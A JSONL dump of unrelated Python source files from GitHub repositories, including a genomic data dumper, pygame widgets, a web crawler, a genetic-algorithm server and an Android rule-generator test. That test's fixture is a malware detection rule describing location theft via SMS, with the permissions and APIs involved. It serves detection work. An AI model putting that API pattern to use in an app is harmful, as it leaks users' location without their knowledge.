tensor2img(tensor_2d, out_type=np.float32, min_max=(0.1, 0.5))\n tensor_2d_np = (np.clip(tensor_2d_np, 0.1, 0.5) - 0.1) / 0.4\n np.testing.assert_almost_equal(rlt, tensor_2d_np)\n","repo_name":"open-mmlab/mmgeneration","sub_path":"tests/test_cores/test_tensor2img.py","file_name":"test_tensor2img.py","file_ext":"py","file_size_in_byte":3263,"program_lang":"python","lang":"en","doc_type":"code","stars":1672,"dataset":"github-code","pt":"11"} +{"seq_id":"21604103084","text":"import os\nimport os.path\nimport sys\nimport time\nimport re\nimport requests\nfrom ftplib import FTP\nfrom bs4 import BeautifulSoup\nimport zipfile\n\nimport biothings, config\nbiothings.config_for_app(config)\n\nfrom config import DATA_ARCHIVE_ROOT\nfrom biothings.dataload.dumper import GoogleDriveDumper, DumperException\nfrom biothings.utils.common import unzipall\n\n\nclass DBNSFPDumper(GoogleDriveDumper):\n '''\n Mixed dumper (use FTP and HTTP/GoogleDrive) to dump dbNSFP:\n - FTP: to get the latest version\n - HTTP: to actually get the data (because their FTP server is sooo slow)\n '''\n\n SRC_NAME = \"dbnsfp\"\n SRC_ROOT_FOLDER = os.path.join(DATA_ARCHIVE_ROOT, SRC_NAME)\n RELEASE_PAT = \"dbNSFPv(\\d+\\.\\d+a)\\.zip\" # \"a\" is for academic, not \"c\"ommercial\n\n SCHEDULE = \"0 9 * * *\"\n\n def get_newest_info(self):\n ftp = FTP('dbnsfp.softgenetics.com')\n ftp.login('dbnsfp','dbnsfp')\n releases = ftp.nlst()\n # get rid of readme files\n pat = re.compile(self.RELEASE_PAT)\n releases = [x for x in releases if pat.match(x)]\n # sort items based on date\n releases = sorted(releases)\n # get the last item in the list, which is the latest version\n self.newest_file = releases[-1]\n self.release = pat.match(releases[-1]).groups()[0]\n\n def new_release_available(self):\n current_release = self.src_doc.get(\"release\")\n if not current_release or self.release > current_release:\n self.logger.info(\"New release '%s' found\" % self.release)\n return True\n else:\n self.logger.debug(\"No new release found\")\n return False\n\n def get_drive_url(self,ftpname):\n # ok, so let's get the main page data. in this page there are links for both\n # FTP and Google Drive. We're assuming here that just after FTP link, there's\n # the corresponding one for Drive (parse will ensure we downloaded the correct\n # version, and also the correct licensed one - academic only)\n res = requests.get(\"https://sites.google.com/site/jpopgen/dbNSFP\")\n html = BeautifulSoup(res.text,\"html.parser\")\n ftplink = html.findAll(attrs={\"href\":re.compile(ftpname)})\n if ftplink:\n ftplink = ftplink.pop()\n else:\n raise DumperException(\"Can't find a FTP link for '%s'\" % ftpname)\n # let's cross fingers here...\n drivelink = ftplink.findNextSibling()\n href = drivelink.get(\"href\")\n if href:\n return href\n else:\n raise DumperException(\"Can't find a href in drive link element: %s\" % drivelink)\n\n\n def create_todump_list(self, force=False):\n self.get_newest_info()\n new_localfile = os.path.join(self.new_data_folder,os.path.basename(self.newest_file))\n try:\n current_localfile = os.path.join(self.current_data_folder,os.path.basename(self.newest_file))\n except TypeError:\n # current data folder doesn't even exist\n current_localfile = new_localfile\n if force or not os.path.exists(current_localfile) or self.new_release_available():\n # register new release (will be stored in backend)\n self.release = self.release\n remote = self.get_drive_url(self.newest_file)\n self.to_dump.append({\"remote\": remote,\"local\":new_localfile})\n\n def post_download(self,remote,local):\n filename = os.path.basename(local)\n if not self.release in filename:\n raise DumperException(\"Weird, filename is wrong ('%s')\" % filename)\n # make sure we downloaded to correct one, and that it's the academic version\n zf = zipfile.ZipFile(local)\n readme = None\n for f in zf.filelist:\n if \"readme\" in f.filename:\n readme = f\n break\n if not readme:\n raise DumperException(\"Can't find a readme in the archive (I was checking version/license)\")\n if not self.release in readme.filename:\n raise DumperException(\"Version in readme filename ('%s') doesn't match expected version %s\" % (readme.filename, self.release))\n assert self.release.endswith(\"a\"), \"Release '%s' isn't academic version (how possible ?)\" % self.release\n # good to go...\n\n def post_dump(self):\n self.logger.info(\"Unzipping files in '%s'\" % self.new_data_folder)\n unzipall(self.new_data_folder)\n\n\ndef main():\n dumper = DBNSFPDumper()\n dumper.dump()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Sofia-usf/myvariant.info","sub_path":"src/dataload/sources/dbnsfp/dbnsfp_dump.py","file_name":"dbnsfp_dump.py","file_ext":"py","file_size_in_byte":4535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"11"} +{"seq_id":"20464481716","text":"from pyramid_sqlalchemy import Session\n\nfrom teach_api.tests.base_test_db import BaseTestDB\nfrom teach_api.models import EmployeeGroup\n\n\nclass EmployeeGroupTest(BaseTestDB):\n\n def test_model_sets_n_automatically(self):\n _group = EmployeeGroup(name='NAME_USERGROUP')\n Session.add(_group)\n Session.flush()\n assert _group.n is not None\n assert _group.name == 'NAME_USERGROUP'\n","repo_name":"cherepakhin/teach_api","sub_path":"teach_api/models/tests/test_employee_group.py","file_name":"test_employee_group.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"23282977632","text":"import math\n\nimport pygame\n\npygame.font.init()\n\n\n#Classes for clickable buttons\nclass Button:\n def __init__(self, pos, size, color='#475F77', text=\"Hi\", elevation = 5, fg_color='#000000', print_text = True, extra_parameters=[]):\n self.nice_font = pygame.font.SysFont('Calibri', 20)\n self.x = pos[0]\n self.y = pos[1]\n self.width = size[0]\n self.height = size[1]\n self.color = color\n self.bottom_color = '#354B5E'\n self.elevation = elevation\n self.print_text = print_text\n self.is_clicked = False\n self.fg_color = fg_color\n\n self.rect = pygame.Rect((self.x, self.y-self.elevation), size)\n self.down_rect = pygame.Rect((self.x, self.y), (self.width, self.height))\n self.initial_text = text\n self.text = text\n self.text_surface = self.nice_font.render(text, True, self.fg_color)\n\n self.extra_init_steps(extra_parameters)\n\n def extra_init_steps(self, extra_parameters):\n pass\n\n def update_text(self, new_text):\n self.text = new_text\n self.text_surface = self.nice_font.render(new_text, True, self.fg_color)\n\n #re-draw the button\n def update_rect(self):\n self.rect = pygame.Rect((self.x, self.y-self.elevation), (self.width, self.height))\n self.down_rect = pygame.Rect((self.x, self.y), (self.width, self.height))\n\n #return true if the button is clicked\n def check_clicked(self, event):\n if event.type == pygame.MOUSEBUTTONDOWN:\n if pygame.mouse.get_pressed()[0]:\n mouse_pos_x, mouse_pos_y = pygame.mouse.get_pos()\n if self.down_rect.collidepoint(mouse_pos_x, mouse_pos_y):\n return True\n return False\n\n def click_func(self, screen):\n pass\n\n #what to do if clicked\n def process_clicked(self, event, screen):\n if self.check_clicked(event):\n return self.click_func(screen)\n else:\n return None\n\n #for nicer GUI, if the mouse is on the button it is pressed down\n def check_hover(self):\n mouse_pos_x, mouse_pos_y = pygame.mouse.get_pos()\n if self.down_rect.collidepoint(mouse_pos_x, mouse_pos_y):\n self.elevation = 1\n else:\n self.elevation =5\n self.update_rect()\n\n #draw the button\n def draw(self, screen):\n #callee must do pygame.display.update()\n\n #clean area for nicer draw\n pygame.draw.rect(screen, \"#FFFFFF\", pygame.Rect((self.x - 10, self.y - 20), (self.width + 20, self.height + 40)))\n\n #draw down rectanle for nicer view\n pygame.draw.rect(screen, self.bottom_color, self.down_rect, border_radius = 12)\n #draw up rectangle\n pygame.draw.rect(screen, self.color, self.rect, border_radius = 12)\n #draw text\n if(self.print_text):\n screen.blit(self.text_surface, self.text_surface.get_rect(center = self.down_rect.center))\n\n#button allowing to insert text by clicking on it\nclass TextButton(Button):\n def click_func(self, screen):\n txt = []\n self.update_text(\"\".join(txt))\n self.draw(screen)\n while True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.display.quit()\n pygame.quit()\n return\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_RETURN: # for finishing (enter)\n ret = \"\".join(txt)\n if ret:\n return ret\n else:\n return \"\" #behaviour for empty input\n elif event.key == pygame.K_BACKSPACE: # for removing (backspace)\n if len(txt):\n txt = txt[:-1]\n # if(event.unicode.isalnum()):\n # txt.append(event.unicode)\n else:\n txt.append(event.unicode)\n self.update_text(\"\".join(txt))\n self.draw(screen)\n pygame.display.update()\n\n#button allowing to insert number by clicking on it\nclass IntTextButton(Button):\n def check_clicked(self, event):\n if event.type == pygame.MOUSEBUTTONDOWN:\n if pygame.mouse.get_pressed()[0]:\n mouse_pos_x, mouse_pos_y = pygame.mouse.get_pos()\n if self.down_rect.collidepoint(mouse_pos_x, mouse_pos_y):\n self.is_clicked = True\n return self.is_clicked\n\n def click_func(self, screen):\n txt = []\n self.update_text(\"\".join(txt))\n self.draw(screen)\n while True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.display.quit()\n pygame.quit()\n return\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_RETURN: # for finishing (enter)\n ret = \"\".join(txt)\n if not ret:\n ret = \"0\"\n self.update_text(\"0\")\n ret = int(ret)\n if ret:\n return ret\n else:\n return \"\" #behaviour for empty input\n if event.key == pygame.K_BACKSPACE: # for removing (backspace)\n if len(txt):\n txt = txt[:-1]\n if(event.unicode.isdigit()):\n txt.append(event.unicode)\n self.update_text(\"\".join(txt))\n self.draw(screen)\n pygame.display.update()\n\n#button with 2 states - pressed and unpressed (changed when pressed)\nclass BoolButton(Button):\n def extra_init_steps(self, extra_parameters):\n self.is_clicked = False\n if(len(extra_parameters)):\n self.clicked_text = extra_parameters[0]\n else:\n self.clicked_text = self.initial_text\n\n def get_val(self):\n return self.is_clicked\n\n def process_clicked(self, event, screen):\n if self.check_clicked(event):\n self.is_clicked = not self.is_clicked\n if(self.get_val()):\n self.update_text(self.clicked_text)\n else:\n self.update_text(self.initial_text)\n return True\n else:\n return False\n\n#slider\nclass Slider:\n def __init__(self, pos, length, min_val=5, max_val=50, start_val = 5, circ_color='#FF0000', bar_color = '#354B5E', radius = 10, name = \"\"):\n self.nice_font = pygame.font.SysFont('Calibri MS', 20)\n self.x = pos[0]\n self.y = pos[1]\n self.length = length\n self.min_val = min_val\n self.max_val = max_val\n self.circ_color = circ_color\n self.bar_color = bar_color\n self.val = max(min(start_val, max_val), min_val)\n self.name = name\n self.circle_center = (pos[0] + int((min(max(start_val, min_val), max_val) - min_val) * length / (max_val-min_val)), pos[1]+radius/2)\n self.radius = radius\n self.is_clicked = False\n self.min_center = (self.x + 5, self.y + self.radius + 10)\n self.max_center = (self.x+self.length - 5, self.y +self.radius + 10)\n\n self.rect = pygame.Rect((self.x, self.y), (self.length, self.radius))\n self.min_text = self.nice_font.render(str(self.min_val), True, (0, 0, 0))\n self.max_text = self.nice_font.render(str(self.max_val), True, (0, 0, 0))\n self.val_text = self.nice_font.render(str(self.val), True, (0, 0, 0))\n self.name_text = self.nice_font.render(str(self.name), True, (0, 0, 0))\n\n self.extra_init_steps()\n\n def extra_init_steps(self):\n pass\n\n def update_text(self):\n self.val_text = self.nice_font.render(str(self.val), True, (0, 0, 0))\n\n def update_val(self):\n self.val = int(self.min_val + (self.circle_center[0] - self.x)/float(self.length) * (self.max_val - self.min_val))\n self.update_text()\n\n def is_mouse_touching(self):\n mouse_pos_x, mouse_pos_y = pygame.mouse.get_pos()\n return bool(math.sqrt((self.circle_center[0] - mouse_pos_x) ** 2 + (self.circle_center[1] - mouse_pos_y) ** 2)<=self.radius)\n\n def check_clicked(self, event):\n if event.type == pygame.MOUSEBUTTONDOWN:\n if pygame.mouse.get_pressed()[0]:\n if self.is_mouse_touching():\n self.is_clicked = True\n if event.type == pygame.MOUSEBUTTONUP:\n self.is_clicked = False\n\n def process_clicked(self, event, screen):\n self.check_clicked(event)\n\n def check_hover(self):\n if self.is_clicked:\n self.circle_center = (min(max(pygame.mouse.get_pos()[0], self.x), self.x + self.length), self.circle_center[1])\n self.update_val()\n else:\n pass\n\n def get_val(self):\n return self.val\n\n def draw(self, screen):\n #callee must do pygame.display.update()\n\n #clean area for nicer draw\n pygame.draw.rect(screen, \"#FFFFFF\", pygame.Rect((self.x - 10, self.y - 20), (self.length + 20, self.radius + 40)))\n\n #draw down rectanle for nicer view\n pygame.draw.rect(screen, self.bar_color, self.rect, border_radius = 12)\n #draw up rectangle\n pygame.draw.circle(screen, self.circ_color, self.circle_center, self.radius)\n #draw texts\n screen.blit(self.val_text, self.val_text.get_rect(center = (self.x + self.length/2, self.y - 10)))\n screen.blit(self.min_text, self.min_text.get_rect(center = self.min_center))\n screen.blit(self.max_text, self.max_text.get_rect(center = self.max_center))\n screen.blit(self.name_text, self.name_text.get_rect(center = (self.x + self.length/2, self.y + self.radius + 10)))\n\n\n","repo_name":"TomerPelleg/Spiromania","sub_path":"button.py","file_name":"button.py","file_ext":"py","file_size_in_byte":9983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"36073287505","text":"\"\"\"\n多线程/进程爬虫 + mysql数据库\n\"\"\"\nimport sys\nsys.path.append(\"..\")\nimport time\n\nfrom collections import deque\nimport json\nfrom lxml import etree\nimport httplib2\nimport hashlib\nimport os\nimport requests\nimport threading\nfrom multiprocessing import Process\nfrom logConfig import logger\nfrom dbmanager import CrawlDataBaseManager\n\nignore_file = [\".jpg\", \".gif\"]\n# 设置延迟, 太过频繁访问目标站点\nCRAWL_DELAY = 0.6\n\nrequest_headers = {\n \"connection\": \"keep-alive\",\n \"cache-control\": \"no-cache\",\n \"upgrade-insecure-requests\": \"1\",\n \"user-agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\n \"Accept-Language\": \"zh-CN,zh;q=0.9,en;q=0.8\"\n}\n\ncur_level = 0\nmax_level = 5\ndir_name = \"iterate/\"\niter_width = 50\nnum_downloaded_pages = 0\ndownloaded_urls = []\n\ndbmanager = CrawlDataBaseManager()\n\ndu_md5_file_name = dir_name + \"download.txt\"\ndu_url_file_name = dir_name + \"urls.txt\"\n\n\ndef getPageContent(cur_url, id, depth):\n if not os.path.exists(dir_name):\n os.mkdir(dir_name)\n with open(du_url_file_name, \"w\"):\n pass\n with open(du_md5_file_name, \"w\"):\n pass\n logger.info(\"downloading %s at level %s\" % (cur_url, depth))\n try:\n req = requests.get(cur_url)\n html_page = req.content.decode(\"utf8\")\n if cur_url.startswith(\"https\"):\n filename = cur_url[8:].replace(\"/\", \"_\")\n else:\n filename = cur_url[7:].replace(\"/\", \"_\")\n if filename.endswith(\".html\"):\n with open(\"%s%s\" % (dir_name, filename), \"w\") as fo:\n fo.write(html_page)\n else:\n with open(\"%s%s.html\" % (dir_name, filename), \"w\") as fo:\n fo.write(html_page)\n except Exception as identifier:\n logger.error(\"1\")\n logger.error(identifier)\n return None\n\n dumd5 = hashlib.md5(cur_url.encode()).hexdigest()\n downloaded_urls.append(dumd5)\n with open(du_md5_file_name, \"a\") as fo:\n fo.write(dumd5 + \"\\r\\n\")\n with open(du_url_file_name, \"a\") as fo:\n fo.write(cur_url + \"\\r\\n\")\n \n global num_downloaded_pages\n num_downloaded_pages += 1\n\n html = etree.HTML(html_page.lower())\n if html is None:\n logger.error(\"2\")\n logger.error(\"None Page\")\n return\n hrefs = html.xpath(u\"//a\")\n\n for href in hrefs:\n try:\n if \"href\" in href.attrib:\n val = href.attrib[\"href\"]\n if -1 != val.find(\"javascript:\"):\n continue\n elif val[-4:] in ignore_file:\n continue\n elif not (val.startswith(\"http://\") or val.startswith(\"https://\")):\n if val.startswith(\"/\"):\n val = \"https://www.sina.com.cn/\" + val\n else:\n continue\n elif \"/\" == val[-1]:\n val = val[0:-1]\n dbmanager.enqueueUrl(val, int(depth) + 1)\n except Exception as identifier:\n # logger.error(\"3\")\n # logger.error(identifier)\n continue\n\ndef main():\n max_num_thread = 5\n\n dbmanager.enqueueUrl(\"https://www.sina.com.cn/\", 0)\n\n is_root_page = True\n threads = []\n\n while True:\n curtask = dbmanager.dequeueUrl()\n if not curtask:\n for th in threads:\n th.join()\n break\n\n if is_root_page:\n getPageContent(curtask[1], curtask[0], curtask[2])\n is_root_page = False\n else:\n while True:\n for th in threads:\n if not th.is_alive():\n logger.info(\"remove who: %s\", th)\n threads.remove(th)\n \n if max_num_thread <= len(threads):\n time.sleep(CRAWL_DELAY)\n continue\n \n try:\n th = threading.Thread(target = getPageContent, args = (curtask[1], curtask[0], curtask[2]))\n # th = Process(target = getPageContent, args = (curtask[1], curtask[0], curtask[2]))\n threads.append(th)\n th.setDaemon(True)\n logger.info(\"threads info: %d\" % len(threads))\n for x in threads:\n logger.info(\"thread inner info %s\" % x)\n th.start()\n time.sleep(CRAWL_DELAY)\n break\n except Exception as identifier:\n logger.error(\"4\")\n logger.error(identifier)\n\nif __name__ == \"__main__\":\n main()","repo_name":"HeHisHim/insect","sub_path":"two/process_crawl.py","file_name":"process_crawl.py","file_ext":"py","file_size_in_byte":4852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"73703000028","text":"#Some time paying equally makes sense rather than going Dutch, \n#especially if you eat more than other people on the table :) \n#I got you covered in case you don't have a pencil and paper.\n\nbill = input(\"Bill Total: $\")\ntip = input(\"Tip percentage: %\")\npeople = input(\"How many people ate? \")\n\ntip_amount = float(bill) * (int(tip) / 100)\nbill_share = round((float(bill) + int(tip_amount)) / int(people))\n\nprint(f\"Each person shuold pay ${bill_share}\")\n","repo_name":"cevheroglu/pythonFun","sub_path":"2-billCalc.py","file_name":"2-billCalc.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"13666902998","text":"\nimport os\n\nimport pytest\nfrom generator.object.genrule_obj import GenRuleObject\n\n\n@pytest.fixture(scope=\"function\")\ndef incomplete_rule():\n incomplete_rule = {}\n \n return incomplete_rule\n\n@pytest.fixture(scope=\"function\")\ndef complete_rule():\n complete_rule = {\n \"crime\": \"Send Location via SMS\",\n \"permission\": [\n \"android.permission.SEND_SMS\",\n \"android.permission.ACCESS_COARSE_LOCATION\",\n \"android.permission.ACCESS_FINE_LOCATION\"\n ],\n \"api\": [\n {\n \"class\": \"Landroid/telephony/TelephonyManager\",\n \"method\": \"getCellLocation\",\n \"descriptor\": \"()Landroid/telephony/CellLocation;\"\n },\n {\n \"class\": \"Landroid/telephony/SmsManager\",\n \"method\": \"sendTextMessage\",\n \"descriptor\": \"(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V\"\n }\n ],\n \"score\": 4,\n }\n return complete_rule\n\n\nclass TestGenRuleObject:\n \n def test_init_with_incomplete_rule(self, incomplete_rule):\n with pytest.raises(KeyError):\n _ = GenRuleObject(incomplete_rule)\n\n def test_init_with_complete_rule(self, complete_rule):\n rule = GenRuleObject(complete_rule)\n\n assert all(rule.check_item) is False\n assert rule.crime == \"Send Location via SMS\"\n assert rule.permission == [\n \"android.permission.SEND_SMS\",\n \"android.permission.ACCESS_COARSE_LOCATION\",\n \"android.permission.ACCESS_FINE_LOCATION\",\n ]\n assert rule.api == [\n {\n \"class\": \"Landroid/telephony/TelephonyManager\",\n \"method\": \"getCellLocation\",\n \"descriptor\": \"()Landroid/telephony/CellLocation;\",\n },\n {\n \"class\": \"Landroid/telephony/SmsManager\",\n \"method\": \"sendTextMessage\",\n \"descriptor\": (\n \"(Ljava/lang/String; Ljava/lang/String;\"\n \" Ljava/lang/String; Landroid/app/PendingIntent;\"\n \" Landroid/app/PendingIntent;)V\"\n ),\n },\n ]\n assert rule.score == 4","repo_name":"pulorsok/training-course","sub_path":"quark-rule-generate/test/generator/object/test_genrule_obj.py","file_name":"test_genrule_obj.py","file_ext":"py","file_size_in_byte":2295,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"38876738343","text":"\"\"\"\n Simple ga server for the basicbot.\n\"\"\"\n \nimport argparse\nimport json\nimport zmq\nimport random\nimport threading\n \nfrom deap import base\nfrom deap import creator\nfrom deap import tools\n\n############################################################################\n############################################################################\n############################################################################\n\n# Writing output files, pull out into its own class later?\ndef writeHeaders(filename,additional_headers=\"\"):\n \"\"\" Write out the headers for a logging file. \n \n Args:\n filename: Where to write the file and what to call it.\n additional_headers: any additional information to log. Typically a comma-separated string of genes.\n\n \"\"\"\n with open(filename,\"w\") as f:\n f.write(\"Gen,Ind,Ind_ID,Fit_1\")\n if additional_headers:\n f.write(\",\"+additional_headers)\n f.write(\"\\n\")\n\ndef writeGeneration(filename,generation,individuals):\n \"\"\" Write out the fitness information for a generation. \"\"\"\n with open(filename,\"a\") as f:\n for i,ind in enumerate(individuals):\n f.write(str(generation)+\",\"+str(i)+\",\"+str(ind.id))\n f.write(\",\"+str(ind.fitness)+\",\")\n f.write(\",\".join(str(i) for i in ind))\n f.write(\"\\n\")\n\n############################################################################\n############################################################################\n############################################################################\nclass senderThread(threading.Thread):\n def __init__(self, threadID, socket, population):\n threading.Thread.__init__(self)\n self.threadID = threadID\n self.socket = socket\n self.population = population\n \n def run(self):\n print(\"\\t\\t\\t\\tStarting Sender Thread:\"+str(self.threadID))\n self.send_data()\n print(\"\\t\\t\\t\\tExiting Sender Thread:\"+str(self.threadID))\n \n def send_data(self):\n \"\"\" Send data to worker processes. \n \n Args:\n socket: socket to send the data out on.\n - Persistant throughout execution for now.\n \"\"\"\n for ind in self.population:\n ind_pkt = {'id':ind.id,'genome':ind, 'fitness':-1.0}\n msg = json.dumps(ind_pkt)\n socket.send(msg)\n\n# Process inputs.\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--gens\", type=int, default=100, help=\"Number of generations to run evolution for.\")\nparser.add_argument(\"--pop_size\", type=int, default=100, help=\"Population size for evolution.\")\nparser.add_argument(\"--eval_time\", type=float, default=10., help=\"Simulation time for an individual.\")\nparser.add_argument(\"--run_num\", type=int, default=0, help=\"Run Number\")\nparser.add_argument(\"--output_path\", type=str, default=\"./\", help=\"Output path\")\nargs = parser.parse_args()\n\n# Initialize the random number seed.\nrandom.seed(args.run_num)\n \n# Setup the socket to send genome data out on.\ncontext = zmq.Context()\nsocket = context.socket(zmq.PUSH)\nsocket.bind('tcp://127.0.0.1:5000')\n \n# Setup the socket to read the responses on.\nreceiver = context.socket(zmq.PULL)\nreceiver.bind('tcp://127.0.0.1:5010')\n \nprint(\"Press Enter when the workers are ready: \")\n_ = raw_input()\nprint(\"Sending tasks to workers\")\n\ndef generate_id():\n for i in range(10000):\n yield i\nid_generator = generate_id()\n\ndef format_float(value):\n \"\"\" Return a formatted float value capable of being printed. \"\"\"\n return float(\"{0:.4f}\".format(value))\n\ndef init_gene(val_range=10.0):\n \"\"\" Initialize a gene in the range of 0 to 10. \"\"\"\n return format_float(random.random()*val_range)\n\ndef init_individual(create):\n \"\"\" Initialize an individual. \"\"\"\n ind = create()\n ind.id = next(id_generator)\n \n ind.append(init_gene(10.0)) # center_spin_thresh \n ind.append(9.0+init_gene(1.0)) # center_drive_thresh\n ind.append(init_gene(10.0)) # center_stop_thresh\n ind.append(init_gene(10.0)) # stopping_thresh\n\n return ind\n\ndef individual_genes_str():\n return \"center_spin_thresh,center_drive_thresh,center_stop_thresh,stopping_thresh\"\n\ndef mutate_value(value,low_lim,upp_lim):\n \"\"\" Mutate a value by a gaussian within the bounds. \n\n Args:\n value: initial value of the parameter.\n upp_lim: upper limit of the parameter\n low_lim: lower limit of the parameter\n \"\"\"\n value = format_float(random.gauss(value, (upp_lim-low_lim)*0.1)) # Mutate in the range of 10% SD of the value\n if(value > upp_lim):\n value = upp_lim\n elif(value < low_lim):\n value = low_lim\n return value\n\ndef mutate(individual, mut_prob=0.04):\n \"\"\" Mutate an individual. \n\n Args:\n individual: list of floats to mutate\n mut_prob: mutation probability per element in the genome.\n \"\"\"\n\n for i in range(len(individual)):\n if random.random() < mut_prob:\n individual[i] = mutate_value(individual[i],0.0,10.0)\n\n return (individual,)\n\ndef evaluate_population(population, gen):\n \"\"\" Evaluate a population and set fitnesses appropriately.\n\n Args:\n population: list of individuals\n gen: generation being conducted\n Returns:\n list of population.\n \"\"\"\n # Start a thread to send the data.\n sendThread = senderThread(gen, socket, population)\n sendThread.start()\n \n # Read the responses on the receiver socket.\n i = len(population)\n while i > 0:\n data = json.loads(receiver.recv())\n print(data['fitness'],data['id'])\n population[get_index_of_ind(population,data['id'])].fitness = data['fitness']\n i -= 1\n \n # Wait for the send thread to complete.\n sendThread.join()\n\n return population\n\ndef get_index_of_ind(population, ind_id):\n \"\"\" Get the index of the individual in the population. \"\"\"\n for i,ind in enumerate(population):\n if ind.id == ind_id:\n return i\n\n# Establish name of the output files and write appropriate headers.\nout_fit_file = args.output_path+str(args.run_num)+\"_fitnesses.dat\"\nwriteHeaders(out_fit_file,additional_headers=individual_genes_str())\n\n# Create an individual.\ncreator.create(\"Fitness\", base.Fitness, weights=(-1.0,)) # Minimize time to reach cylinder\ncreator.create(\"Individual\", list, fitness=creator.Fitness)\n\n# Create the toolbox for setting up DEAP functionality.\ntoolbox = base.Toolbox()\n\n# Create the toolbox for tracking history.\nhistory = tools.History()\n\n# Define an individual for use in constructing the population.\n\n# Gene generator.\ntoolbox.register(\"attr_gene\",init_gene)\n\n# Initialize the genome for the individual.\ntoolbox.register(\"individual\", init_individual, creator.Individual)\ntoolbox.register(\"population\", tools.initRepeat, list, toolbox.individual)\n\ntoolbox.register(\"mutate\", mutate)\ntoolbox.register(\"mate\", tools.cxTwoPoint)\n\n# Decorate the variation operators\ntoolbox.decorate(\"mate\", history.decorator)\ntoolbox.decorate(\"mutate\", history.decorator)\n\n# Create a population as a list.\ntoolbox.register(\"population\", tools.initRepeat, list, toolbox.individual)\n\n# Register the selection function.\ntoolbox.register(\"select\", tools.selTournament, tournsize=2)\n\n# Crossover and mutation probability\ncxpb, mutpb = 0.5, 0.05\n\n# Setup the population.\npop = toolbox.population(n=args.pop_size)\nhistory.update(pop)\n\n# Can conduct evaluations this way.\nfor p in pop:\n print(p.id,\": \",p[0],p[1],p[2],p[3])\n\n p.fitness = (random.random(),)\n print(p.fitness)\n\npop = evaluate_population(pop,0)\n\n# Log the progress of the population. (For Generation 0)\nwriteGeneration(out_fit_file,0,pop)\n\nfor g in range(1,args.gens):\n\n # Pull out the elite individual to save for later.\n elite = tools.selBest(pop, k=1)\n\n offspring = toolbox.select(pop, k=len(pop)-1)\n offspring = list(map(toolbox.clone, offspring))\n\n for child1, child2 in zip(offspring[::2], offspring[1::2]):\n if random.random() < cxpb:\n toolbox.mate(child1, child2)\n child1.fitness = -1.0\n child2.fitness = -1.0\n\n for mutant in offspring:\n if random.random() < mutpb:\n toolbox.mutate(mutant)\n mutant.fitness = -1.0\n\n pop[:] = offspring + elite\n\n # Request new id's for the population.\n for i in range(len(pop)):\n pop[i].id = g*args.pop_size + i\n\n evaluate_population(pop, g)\n\n print(\"Generation \"+str(g))\n \n # Log the progress of the population.\n writeGeneration(out_fit_file,g,pop)\n \n history.update(pop)\n \nprint(\"Closing Socket\")\nsocket.close()\nreceiver.close()\n","repo_name":"jaredmoore/EvoROS","sub_path":"src/basicbot_ga/test/ga_server.py","file_name":"ga_server.py","file_ext":"py","file_size_in_byte":8607,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"34452503230","text":"#!/usr/bin/env python\n\nfrom setuptools import setup, find_packages\n\n\nwith open('README.md') as f:\n readme = f.read()\n\nwith open('LICENSE') as f:\n license = f.read()\n\nsetup(\n name='test-api',\n version='0.2',\n description='Python Test Api',\n long_description=readme,\n author='Raphael Lehmann',\n author_email='kontakt@rleh.de',\n url='https://github.com/rleh/python-test-api',\n license=license,\n packages=find_packages(exclude=('tests', 'docs')),\n install_requires=[\n 'falcon',\n 'cython',\n 'simplejson'\n ]\n)","repo_name":"rleh/python-test-api","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"32839345384","text":"def read_file():\n file_1 = open(\"games/files/family.txt\", \"r\")\n txt = file_1.read()\n lines = txt.splitlines()\n people = []\n for line in lines:\n person = build_person(line)\n people.append(person)\n return people\n\n\ndef build_person(line):\n person = {}\n name, age, gender = line.split(\",\")\n person[\"name\"] = name\n person[\"age\"] = age\n person[\"gender\"] = gender\n return person\n\n\ndef list_ages(people):\n ages = []\n for person in people:\n age = person[\"age\"]\n ages.append(int(age))\n return ages\n\n\ndef find_person_with_age(people, age):\n for person in people:\n if age == int(person[\"age\"]):\n return person\n\n\ndef print_people(people, ages):\n for age in ages:\n person = find_person_with_age(people, age)\n print(person)\n\n\npeople = read_file()\nages = list_ages(people)\nages.sort(reverse=True)\nprint_people(people, ages)\n","repo_name":"senthan-bala/python-learning","sub_path":"calc/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"11930012955","text":"from sa_csgo.addons.gui import Procedure\nimport typer\n\nfrom sa_csgo.utils.os_commands import enableLiveKernel, isRealTimeKernelEnabled, isUbuntuProConnected\n\nclass CustomProcedure(Procedure):\n id=5\n name= \"Enable [red]R-T Kernel[/red]. (RESTART REQUIRED) \"\n description= \"([underline]Ubuntu Pro Subscription token required.[/underline])\"\n\n def run():\n proceed = typer.confirm(\"This action will change your kernel operations, please note that this action in not revertable. Do you want to proceed?\")\n if not proceed:\n print(\"Aborting...\")\n\n if(isRealTimeKernelEnabled()):\n print(\"Real Time Kernel already enabled.\")\n return\n \n if(not 